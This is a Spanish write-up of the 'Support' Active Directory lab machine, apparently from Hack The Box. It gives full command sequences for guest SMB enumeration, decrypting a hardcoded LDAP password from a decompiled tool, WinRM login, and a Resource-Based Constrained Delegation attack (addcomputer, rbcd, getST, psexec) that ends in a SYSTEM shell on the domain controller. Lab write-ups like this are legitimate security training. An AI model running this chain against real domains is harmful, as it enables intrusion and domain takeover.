[0xmelvin ]

Support

Support es una máquina Windows Active Directory cuyo compromiso completo no depende de ningún CVE, sino de una cadena de malas prácticas encadenadas: autenticación anónima habilitada en SMB, una herramienta interna distribuida con una credencial cifrada con un esquema propio (y débil) en lugar de un estándar probado, una segunda credencial guardada en texto plano en un campo de notas de Active Directory, y finalmente un permiso de control total (GenericAll) heredado por membresía de grupo sobre el objeto computadora del propio Domain Controller, explotable mediante Resource-Based Constrained Delegation. Ninguno de estos cuatro problemas es por sí solo una vulnerabilidad "crítica" de manual, pero encadenados llevan de un usuario anónimo a NT AUTHORITY\SYSTEM en el DC.

Support

Enumeration

Comenzamos realizando un escaneo TCP completo para identificar los puertos expuestos en el objetivo. Utilizamos un SYN scan con una tasa mínima de 5000 paquetes por segundo, deshabilitando la resolución DNS y el host discovery.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports <TARGET-IP>

El escaneo identificó los siguientes puertos abiertos:

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49678/tcp open  unknown          syn-ack ttl 127
49690/tcp open  unknown          syn-ack ttl 127
49706/tcp open  unknown          syn-ack ttl 127

La combinación de servicios descubiertos, particularmente Kerberos (88/tcp), LDAP (389/tcp), SMB (445/tcp), Global Catalog (3268/3269) y Active Directory Web Services (9389/tcp), sugiere que el objetivo forma parte de un entorno Active Directory.

Una vez finalizado el escaneo completo, extrajimos automáticamente los puertos abiertos desde el archivo .gnmap generado por Nmap. Esto nos permitió construir la lista de puertos para el siguiente escaneo sin tener que introducirlos manualmente.

grep -oP '\d{1,5}(?=/open)' nmap/allports.gnmap | sort -un | xargs | tr ' ' ','

El comando extrae los números de los puertos marcados como open, los ordena numéricamente, elimina duplicados y finalmente los convierte en una lista separada por comas, compatible con la opción -p de Nmap.

Con la lista obtenida, realizamos una enumeración más detallada de los servicios utilizando detección de versiones y scripts predeterminados:

nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49670,49677,49685,49708 -sCV -Pn -oA nmap/openports <TARGET-IP>

El escaneo permitió identificar el sistema operativo como Windows y confirmó varios de los servicios asociados con Active Directory:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-01 02:27:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: -1s
| smb2-time:
|   date: 2026-08-01T02:27:55
|_  start_date: N/A

Además, Nmap indicó que SMB signing está habilitado y es obligatorio.

Con esta información, tenemos suficientes indicios para orientar la siguiente fase de enumeración hacia los servicios de Active Directory, principalmente SMB, LDAP, Kerberos y DNS.

Dado que SMB (445/tcp) se encontraba expuesto, comenzamos enumerando el servicio utilizando NetExec con el usuario Guest y una contraseña vacía:

nxc smb <TARGET-IP> -u Guest -p ""

La respuesta confirmó que el objetivo es un Windows Server 2022 que pertenece al dominio support.htb. Además, la autenticación como Guest fue aceptada mediante autenticación nula:

SMB         <TARGET-IP>  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         <TARGET-IP>  445    DC               [+] support.htb\Guest:

Agregamos el dominio y el nombre del controlador de dominio al archivo /etc/hosts para facilitar la resolución local:

echo "<TARGET-IP> support.htb" | sudo tee -a /etc/hosts

A continuación, enumeramos los recursos compartidos disponibles para el usuario Guest:

nxc smb <TARGET-IP> -u Guest -p "" --shares

Entre los recursos enumerados, encontramos support-tools, sobre el cual el usuario Guest dispone de permisos de lectura:

SMB         <TARGET-IP>  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         <TARGET-IP>  445    DC               [+] support.htb\Guest:
SMB         <TARGET-IP>  445    DC               [*] Enumerated shares
SMB         <TARGET-IP>  445    DC               Share           Permissions            Remark
SMB         <TARGET-IP>  445    DC               -----           -----------            ------
SMB         <TARGET-IP>  445    DC               ADMIN$                                 Remote Admin
SMB         <TARGET-IP>  445    DC               C$                                     Default share
SMB         <TARGET-IP>  445    DC               IPC$            READ                   Remote IPC
SMB         <TARGET-IP>  445    DC               NETLOGON                               Logon server share
SMB         <TARGET-IP>  445    DC               support-tools   READ                   support staff tools
SMB         <TARGET-IP>  445    DC               SYSVOL                                 Logon server share

Debido a los permisos de lectura sobre support-tools, enumeramos su contenido:

nxc smb <TARGET-IP> -u Guest -p "" --spider support-tools --pattern .

El recurso contiene varias herramientas portables, entre ellas 7-Zip, PuTTY, Sysinternals Suite, Wireshark y un archivo denominado UserInfo.exe.zip:

SMB         <TARGET-IP>  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         <TARGET-IP>  445    DC               [+] support.htb\Guest:
SMB         <TARGET-IP>  445    DC               [*] Spidering .
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/. [dir]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/.. [dir]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/7-ZipPortable_21.07.paf.exe [lastm:'2022-05-28 08:19' size:2880728]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/npp.8.4.1.portable.x64.zip [lastm:'2022-05-28 08:19' size:5439245]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/putty.exe [lastm:'2022-05-28 08:20' size:1273576]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/SysinternalsSuite.zip [lastm:'2022-05-28 08:19' size:48102161]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/UserInfo.exe.zip [lastm:'2022-07-20 14:01' size:277499]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/windirstat1_1_2_setup.exe [lastm:'2022-05-28 08:20' size:79171]
SMB         <TARGET-IP>  445    DC               //<TARGET-IP>/support-tools/WiresharkPortable64_3.6.5.paf.exe [lastm:'2022-05-28 08:19' size:44398000]

El archivo UserInfo.exe.zip llamó especialmente nuestra atención por su nombre, ya que podría estar relacionado con información de usuarios. Aprovechando los permisos de lectura obtenidos mediante la cuenta Guest, lo descargamos para analizarlo localmente:

nxc smb <TARGET-IP> -u Guest -p "" --share support-tools --get-file UserInfo.exe.zip UserInfo.exe.zip

A partir de este punto, analizamos el archivo descargado para determinar su funcionalidad y comprobar si contiene información útil para continuar la enumeración.

Creamos un directorio para extraer el contenido del archivo descargado.

mkdir UserInfo

Y extraemos el contenido del archivo descargado en el directorio creado.

unzip UserInfo.exe.zip -d UserInfo/

Listamos el contenido del directorio UserInfo.

total 664
-rw-rw-rw- 1 melvin melvin  99840 Mar  1  2022 CommandLineParser.dll
-rw-rw-rw- 1 melvin melvin  22144 Oct 22  2021 Microsoft.Bcl.AsyncInterfaces.dll
-rw-rw-rw- 1 melvin melvin  47216 Oct 22  2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
-rw-rw-rw- 1 melvin melvin  84608 Oct 22  2021 Microsoft.Extensions.DependencyInjection.dll
-rw-rw-rw- 1 melvin melvin  64112 Oct 22  2021 Microsoft.Extensions.Logging.Abstractions.dll
-rw-rw-rw- 1 melvin melvin  20856 Feb 19  2020 System.Buffers.dll
-rw-rw-rw- 1 melvin melvin 141184 Feb 19  2020 System.Memory.dll
-rw-rw-rw- 1 melvin melvin 115856 May 15  2018 System.Numerics.Vectors.dll
-rw-rw-rw- 1 melvin melvin  18024 Oct 22  2021 System.Runtime.CompilerServices.Unsafe.dll
-rw-rw-rw- 1 melvin melvin  25984 Feb 19  2020 System.Threading.Tasks.Extensions.dll
-rwxrwxrwx 1 melvin melvin  12288 May 27  2022 UserInfo.exe
-rw-rw-rw- 1 melvin melvin    563 May 27  2022 UserInfo.exe.config

Hay un ejecutable UserInfo.exe.

file UserInfo.exe
UserInfo.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections

Lo decompilamos con AvaloniaILSpy.

git clone https://github.com/icsharpcode/AvaloniaILSpy

Encontramos información relevante.

Class Protected

internal class Protected
{
	private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

	private static byte[] key = Encoding.ASCII.GetBytes("armando");

	public static string getPassword()
	{
		byte[] array = Convert.FromBase64String(enc_password);
		byte[] array2 = array;
		for (int i = 0; i < array.Length; i++)
		{
			array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
		}
		return Encoding.Default.GetString(array2);
	}
}

Class LdapQuery

internal class LdapQuery
{
	private DirectoryEntry entry;

	private DirectorySearcher ds;

	public LdapQuery()
	{
		//IL_0018: Unknown result type (might be due to invalid IL or missing references)
		//IL_0022: Expected O, but got Unknown
		//IL_0035: Unknown result type (might be due to invalid IL or missing references)
		//IL_003f: Expected O, but got Unknown
		string password = Protected.getPassword();
		entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
		entry.set_AuthenticationType((AuthenticationTypes)1);
		ds = new DirectorySearcher(entry);
	}

	public void query(string first, string last, bool verbose = false)
	{
		//IL_011e: Unknown result type (might be due to invalid IL or missing references)
		try
		{
			if (first == null && last == null)
			{
				Console.WriteLine("[-] At least one of -first or -last is required.");
				return;
			}
			string text = ((last == null) ? ("(givenName=" + first + ")") : ((first != null) ? ("(&(givenName=" + first + ")(sn=" + last + "))") : ("(sn=" + last + ")")));
			if (verbose)
			{
				Console.WriteLine("[*] LDAP query to use: " + text);
			}
			ds.set_Filter(text);
			ds.get_PropertiesToLoad().Add("sAMAccountName");
			SearchResultCollection val = ds.FindAll();
			if (val.get_Count() == 0)
			{
				Console.WriteLine("[-] No users identified with that query.");
				return;
			}
			if (verbose)
			{
				string text2 = "[+] Found " + val.get_Count() + " result";
				if (val.get_Count() > 1)
				{
					text2 += "s";
				}
				text2 += ":";
				Console.WriteLine(text2);
			}
			foreach (SearchResult item in val)
			{
				if (verbose)
				{
					Console.Write("       ");
				}
				Console.WriteLine(item.get_Properties().get_Item("sAMAccountName").get_Item(0));
			}
		}
		catch (Exception ex)
		{
			Console.WriteLine("[-] Exception: " + ex.Message);
		}
	}

	public void printUser(string username, bool verbose = false)
	{
		try
		{
			if (verbose)
			{
				Console.WriteLine("[*] Getting data for " + username);
			}
			ds.set_Filter("sAMAccountName=" + username);
			ds.get_PropertiesToLoad().Add("pwdLastSet");
			ds.get_PropertiesToLoad().Add("lastLogon");
			ds.get_PropertiesToLoad().Add("givenName");
			ds.get_PropertiesToLoad().Add("sn");
			ds.get_PropertiesToLoad().Add("mail");
			SearchResult val = ds.FindOne();
			if (val == null)
			{
				Console.WriteLine("[-] Unable to locate " + username + ". Please try the find command to get the user's username.");
				return;
			}
			if (((ReadOnlyCollectionBase)(object)val.get_Properties().get_Item("givenName")).Count > 0)
			{
				Console.WriteLine("First Name:           " + val.get_Properties().get_Item("givenName").get_Item(0));
			}
			if (((ReadOnlyCollectionBase)(object)val.get_Properties().get_Item("sn")).Count > 0)
			{
				Console.WriteLine("Last Name:            " + val.get_Properties().get_Item("sn").get_Item(0));
			}
			if (((ReadOnlyCollectionBase)(object)val.get_Properties().get_Item("mail")).Count > 0)
			{
				Console.WriteLine("Contact:              " + val.get_Properties().get_Item("mail").get_Item(0));
			}
			if (val.get_Properties().Contains("pwdLastSet"))
			{
				Console.WriteLine("Last Password Change: " + DateTime.FromFileTime((long)val.get_Properties().get_Item("pwdLastSet").get_Item(0)));
			}
		}
		catch (Exception ex)
		{
			Console.WriteLine("[-] Exception: " + ex.Message);
		}
	}
}

Exploitation

Con esta información podemos obtener la contraseña haciendo el proceso inverso con Python.

getpass.py

import base64

def get_password():
    enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
    key = b"armando"
    data = base64.b64decode(enc_password)
    decrypted = bytearray(len(data))
    for i in range(len(data)):
        decrypted[i] = (data[i] ^ key[i % len(key)]) ^ 0xDF
    return decrypted.decode('utf-8')

if __name__ == "__main__":
    print(get_password())
python3 getpass.py
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Listamos el campo info de todos los usuarios para ver si encontramos información sensible.

nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -M get-info-users
LDAP        10.129.68.160   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.68.160   389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
GET-INFO... 10.129.68.160   389    DC               [+] Found following users:
GET-INFO... 10.129.68.160   389    DC               User: support              Info: Ironside47pleasure40Watchful

Encontramos la contraseña del usuario support.

Con las credenciales del usuario support nos conectamos vía WinRM.

evil-winrm -i 10.129.68.160 -u support -p 'Ironside47pleasure40Watchful'

Listamos el contenido del escritorio.

dir ..\Desktop
    Directory: C:\Users\support\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---          8/1/2026   9:25 AM             34 user.txt

Leemos el contenido de la flag.

type ..\Desktop\user.txt

User flag

User flag

0******************************9

Privilege Escalation

Recolectamos información para usar en Bloodhound.

nxc ldap support.htb --dns-server 10.129.68.160 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --bloodhound -c All
LDAP        10.129.68.160   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.68.160   389    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
LDAP        10.129.68.160   389    DC               Resolved collection methods: acl, adcs, container, dcom, group, localadmin, loggedon, objectprops, psremote, rdp, session, trusts
LDAP        10.129.68.160   389    DC               Excluded collection methods:
LDAP        10.129.68.160   389    DC               Bloodhound data collection completed in 1M 11S
LDAP        10.129.68.160   389    DC               Collecting ADCS data (CertiHound)...
LDAP        10.129.68.160   389    DC               Found 0 certificate templates
LDAP        10.129.68.160   389    DC               Found 0 Enterprise CAs
LDAP        10.129.68.160   389    DC               Compressing output into /home/melvin/.nxc/logs/DC_10.129.68.160_2026-08-01_154627_bloodhound.zip

El usuario support es miembro del grupo SHARED SUPPORT ACCOUNTS lo que significa que hereda todos sus permisos de seguridad, incluso GenericAll sobre el Domain Controller.

Support user privileges

Creamos una computer account.

addcomputer.py -computer-name 'MELVIN$' -computer-pass 'P4$$w0rd' 'support.htb/support:Ironside47pleasure40Watchful'
[*] Successfully added machine account MELVIN$ with password P4$$w0rd.

Verificamos que se creó correctamente.

Get-ADComputer -identity MELVIN
DistinguishedName : CN=MELVIN,CN=Computers,DC=support,DC=htb
DNSHostName       :
Enabled           : True
Name              : MELVIN
ObjectClass       : computer
ObjectGUID        : be1f08b8-2416-4ffa-97e9-5433d529706b
SamAccountName    : MELVIN$
SID               : S-1-5-21-1677581083-3380853377-188903654-6101
UserPrincipalName :

Modificamos el atributo msDS-AllowedToActOnBehalfOfOtherIdentity escribiendo el SID de la computer account que creamos dentro del atributo en el DC.

rbcd.py -delegate-from 'MELVIN$' -delegate-to 'DC$' -action 'write' 'support.htb/support:Ironside47pleasure40Watchful'
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] MELVIN$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     MELVIN$      (S-1-5-21-1677581083-3380853377-188903654-6102)

Verificamos que el PrincipalsAllowedToDelegateToAccount se seteó con el SID de la computer account que creamos.

Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
DistinguishedName                    : CN=DC,OU=Domain Controllers,DC=support,DC=htb
DNSHostName                          : dc.support.htb
Enabled                              : True
Name                                 : DC
ObjectClass                          : computer
ObjectGUID                           : afa13f1c-0399-4f7e-863f-e9c3b94c4127
PrincipalsAllowedToDelegateToAccount : {S-1-5-21-1677581083-3380853377-188903654-6102}
SamAccountName                       : DC$
SID                                  : S-1-5-21-1677581083-3380853377-188903654-1000
UserPrincipalName                    :

Pedimos un ticket de servicio (ST) para el SPN cifs/support.htb utilizando la computer account creada.

getST.py -spn 'cifs/dc.support.htb' -impersonate 'administrator' 'support.htb/MELVIN$:P4$$w0rd'
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Exportamos la variable de entorno KRB5CCNAME para que se use el ticket guardado ahí a la hora de autenticarnos.

export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Agregamos dc.support.htb al archivo /etc/hosts.

Nos autenticamos en el DC usando el ticket de Kerberos del Administrator.

psexec.py -k -no-pass dc.support.htb -dc-ip 10.129.68.160
[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file XhpxIbgg.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service nKOB on dc.support.htb.....
[*] Starting service nKOB.....
[!] Press help for extra shell commands                                                                                                                                    Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Leemos la flag.

type C:\Users\Administrator\Desktop\root.txt

Root flag

Root flag

7******************************b